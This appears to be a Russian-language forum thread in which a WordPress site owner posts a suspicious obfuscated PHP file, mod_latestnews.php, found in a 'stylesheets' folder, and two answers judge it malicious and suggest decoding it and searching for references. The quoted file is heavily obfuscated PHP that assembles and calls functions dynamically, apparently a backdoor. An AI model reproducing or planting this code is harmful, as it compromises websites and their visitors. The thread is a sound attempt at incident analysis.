Нужна помощь, чтобы определить, что делает этот хитрый код? найдено при установке WordPress

Итак, у меня есть сайт WordPress. Я нашел файл с именем: mod_latestnews.php в папке с именем: таблицы стилей в корне установки WordPress (корень домена). У меня есть сильное подозрение, что это может быть вредоносным. Просто нужна помощь, чтобы определить это, спасибо.

<?php
$Q_='sCXqZD1Bv'&~cIJ;$X6Bzl='E$e'|'^ i';$psqlbMHVJ3='T!2`>&'|'#'.dVetT;$gzWQoy='_?'.
'/~6kVp{fN%'&'^o~^</n7J&Ol';$AS_Si0='w{o~_}wm~_v}~'.o_grze.'}'&/*fGhnTtxKMf4Sw'.
'aGPs_Zqda*/"ok|o_}{m~_v}~".o_kr."~m}";$IL8D6p=HJMDhUH.'=(_OI@DJ@@'./*GjZ1O5Kz'.
'I5rSB${*/I2RVH6ABJH.'@'.BDOR|'@HQ@dI }0'.LZHB.'@'.h4DI.'"PFD('.TJzDHDDLv;'DKP'.
'Xr:';$HBOYG2nU6=GnwG&'[?wl';$zzH=jku&'!]N';$PXW0_MgmTi='#'&q;$Wfqi_lu='s>_}}o'.
'k_/;'&"Qg{=}_#~??";$i6b2C9KsM01='J@TQ]'.MIHQQhTFm.']'.KHQOHPNiE|YTRLKPVc.#slf'.
'^'.UfTGCBBY.'!'.FNUn.'"D';$qASK='@'.TdPU.':'.QUVICEMN.'[ThD.'.JOALt|'hv|@[J_@'.
'v`'.OTKCF7.'"'.EfOnLY6;$M07='BE5='|'b"<!';$BaL=A&a;$C66HKXW='6c?lew'^#x8Pa2N5'.
'~7k<:6';$A2ImaeJCMP=rr&yz;$bqKqY='a%Q@aP`ac`'|'eF^r%`L@a%';$o7=/*RNnrKVX0m7Ld'.
'R)@$6w*/"EB1( -Bp`G\$6"|' '.C1HdmD.'%dF`D';$zz5EOx='LW@lD)ljX'|DSRL.'$'./*fv6'.
'UAz$6)*/ehbB;$pch1SaJiI="Wy{".lmVysr."}v"&'_=zf}~{c:lw';$ID7bbiuBJ=$X6Bzl^(#w'.
'~iX'&'3Vz');$jw7=('omu}o~'&'o}~}o~')&$psqlbMHVJ3;$ygm_RozfP=$gzWQoy^(/*klrOVx'.
'-?@),*/ugtNCm.'@pft]?'^'[:?w(4c0@3p~');$kA=('{w}~'._wwor_owoc_.'}{su{'&#GBcIJ'.
'{}'.nm_w.'{'.gs_ouo.'{_s{s{{')&$AS_Si0;$zkrpwgj3Ls=$IL8D6p^('}/?&Z?^O]{j.'./*'.
'>%IefQLZ-*/swZce.'{wcp){3|ow/~{}['&'}?;ox~~NY;{'.zwwx_7.'/'.Wgjm.#yZuCXFdZ5vR'.
'[3|]}:~s}b');$s424CmhsRx=$HBOYG2nU6^(lOyk&'mOX%');$dwGdfGQrb1I=('>%Q'^ZLp)|/*'.
'.HsV*/$zzH;$X_j=$PXW0_MgmTi|$BaL;$qQgbhHxspb=(Hy0O.' '.bB7BH|",4 F ".pD5B./*K'.
'x_,|*Y*/"@")^$Wfqi_lu;$IVXoBNtp=$i6b2C9KsM01&$qASK;if($ID7bbiuBJ($jw7(/*_H1EE'.
'{u*/$C66HKXW))!=$zkrpwgj3Ls)$ygm_RozfP($s424CmhsRx,$dwGdfGQrb1I,$X_j);$kA(/*z'.
'4rAeZq33v?*/$A2ImaeJCMP.$bqKqY,array($qQgbhHxspb,$jw7($IVXoBNtp),$o7./*KByxGf'.
',|BJpU_{~*/$zz5EOx.$pch1SaJiI.$M07));#-_gFxEx%N1L$wWJw_Zry:p..(ZC_vSjJ@JH39n'.
'P{-1gib :7k=LYkAW?w4rHS_.fUuc_Q_tnjMS{{N[n_YN]f@d4';

-1

Решение

Да, это выглядит как зашифрованный код. Попробуйте расшифровать его с помощью онлайн-декодеров. Также выполните поиск на вашем полном веб-сайте «mod_latestnews», он может быть вызван каким-то другим файлом. Посмотрите на мой ответ на этот вопрос.
Мои сайты взломаны?

0

Другие решения

Да, это определенно вредоносный фрагмент кода, добавленный на ваш сайт, так как по умолчанию в WordPress нет таблицы стилей папка внутри корневого каталога.

0

По вопросам рекламы [email protected]